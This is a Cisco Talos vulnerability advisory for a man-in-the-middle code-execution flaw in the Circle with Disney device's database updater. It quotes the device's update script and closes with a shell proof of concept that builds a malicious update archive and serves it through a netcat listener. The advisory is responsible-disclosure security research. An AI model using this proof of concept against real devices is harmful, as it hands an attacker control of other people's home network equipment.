Talos Vulnerability Report

TALOS-2017-0390

Circle with Disney Database Updater Code Execution Vulnerability

October 31, 2017
CVE Number

CVE-2017-2883

Summary

An exploitable vulnerability exists in the database update functionality of Circle with Disney running firmware 2.0.1. Specially crafted network packets can cause the device to execute arbitrary code. An attacker needs to impersonate a remote server in order to trigger this vulnerability.

Tested Versions

Circle with Disney 2.0.1

Product URLs

https://meetcircle.com/

CVSSv3 Score

9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle')

Details

Circle with Disney is a network device used to monitor internet use of children on a given network.

A cronjob exists which executes the script "firmware_updater.sh" every hour:

#!/bin/sh
...
my_updater_ver=`cat /mnt/shares/UPDATER_VERSION`;
my_database_ver=`cat /mnt/shares/DATABASE_VERSION`;
my_firmware_ver=`cat /mnt/shares/VERSION`;
...
/tmp/wget -q -O /tmp/versions  "http://download.meetcircle.co/dev/firmware/check_version.php?
DEVID=$MAC&FVER=$my_firmware_ver&UVER=$my_updater_ver&DBVER=$my_database_ver&ETH=$eth_connected&IP=$IP$EXTRA"
grep updater_ver /tmp/versions || exit 1
updater_ver=`awk '/updater_ver/{print $2}' /tmp/versions`;
database_ver=`awk '/database_ver/{print $2}' /tmp/versions`;
firmware_ver=`awk '/firmware_ver/{print $2}' /tmp/versions`;
...
if [ $force = 0 ] ; then
        #check time window
        current_hour=`date +%k`
        if [ $current_hour -gt 4 -o $current_hour -lt 1 ]; then
                echo "Outside of firmware/database update window (1 - 5 am) ... canceling update check"
                exit 1
        fi
        #check last API command
        if [ -s /mnt/shares/usr/bin/last_api ]; then
                time_last_api=`date -r /mnt/shares/usr/bin/last_api +%s`
                time_now=`date +%s`
                time_elapsed=`expr $time_now - $time_last_api`
                if [ $time_elapsed -lt 3600 ]; then
                        echo "API command within last hour ... canceling firmware update check"
                        exit 1
                fi
        fi
fi
...
#update database
if [ "$database_ver" != "0.0" -a "$my_database_ver" != "$database_ver" ] ; then
        mkdir -p /mnt0
        mkdir -p /mnt/tmp
        cd /mnt/tmp;
        mount -t ext4 -o rw,noatime,nodiratime /dev/sda2 /mnt0
        /tmp/wget -q -O /mnt0/database_1.tar.gz "http://download.meetcircle.co/dev/firmware/get_database.php?
DEVID=$MAC$EXTRA&MYVER=$my_database_ver"
        if  [ -s /mnt0/database_1.tar.gz ] ; then
                mount -o remount,rw,noatime,nodiratime /dev/sda3 /mnt #remount to remove sync
                tar xzf /mnt0/database_1.tar.gz
                if [ -s /mnt/tmp/update_database.sh -a -s /mnt/tmp/shares/DATABASE_VERSION -a -s /mnt/tmp/dbmd5 ] ; then
                        if md5sum -s -c /mnt/tmp/dbmd5 ; then
                                cd /mnt;
                                cp -lfr /mnt/tmp/* /mnt/
                                rm -rf /mnt/tmp
                                mv -f /mnt0/database_1.tar.gz /mnt0/database.tar.gz
                                umount /mnt0
                                sh /mnt/update_database.sh
                                exit 0
                        fi
                fi
        fi
        cd /mnt;
        rm -f /mnt0/database_1.tar.gz
        rm -rf /mnt/tmp
        umount /mnt0
        echo "error downloading and installing database"
        exit 1
else
        echo "not updating database: database_ver=$database_ver my_database_ver=$my_database_ver";
fi

The script above installs updates for the device if new versions are available.

Latest versions are retrieved using an HTTP request. If the update script is called within 1am and 4am and no API commands were issued in the last hour, the database will be updated when a new version is available.

The new version for the database is retrieved using an HTTP request: an archive is downloaded from "download.meetcircle.co", it is extracted in "/mnt/tmp" and, if a few conditions are met, the script "update_database.sh" present in the archive is executed.

Since both HTTP requests are unauthenticated, an attacker able to impersonate the remote server could return a malicious archive containing a custom "update_database.sh" script.

Exploit Proof-of-Concept

The following proof of concept shows how to execute the "power_down.sh" script on the device. An attacker needs to impersonate the server "download.meetcircle.co" in order to answer the HTTP requests.

$ echo "/mnt/shares/usr/bin/scripts/circle/power_down.sh" > update_database.sh
$ chmod 777 update_database.sh
$ md5sum update_database.sh > dbmd5
$ mkdir shares
$ echo 2.3 > shares/DATABASE_VERSION
$ tar czf evil.tgz update_database.sh dbmd5 shares
$ req1="$( echo -en "HTTP/1.0 200 OK\n\nupdater_ver 0.0\nfirmware_ver 0.0\ndatabase_ver 2.4\n" )"
$ req2="$( echo -en "HTTP/1.0 200 OK\n\n"; cat evil.tgz )"
$ for r in $req1 $req2; do echo $r | sudo nc -vv -l -p 80; done

Timeline

2017-08-02 - Vendor Disclosure
2017-10-31 - Public Release

Credit

Discovered by Claudio Bozzato and Lilith Wyatt <(^_^)> of Cisco Talos.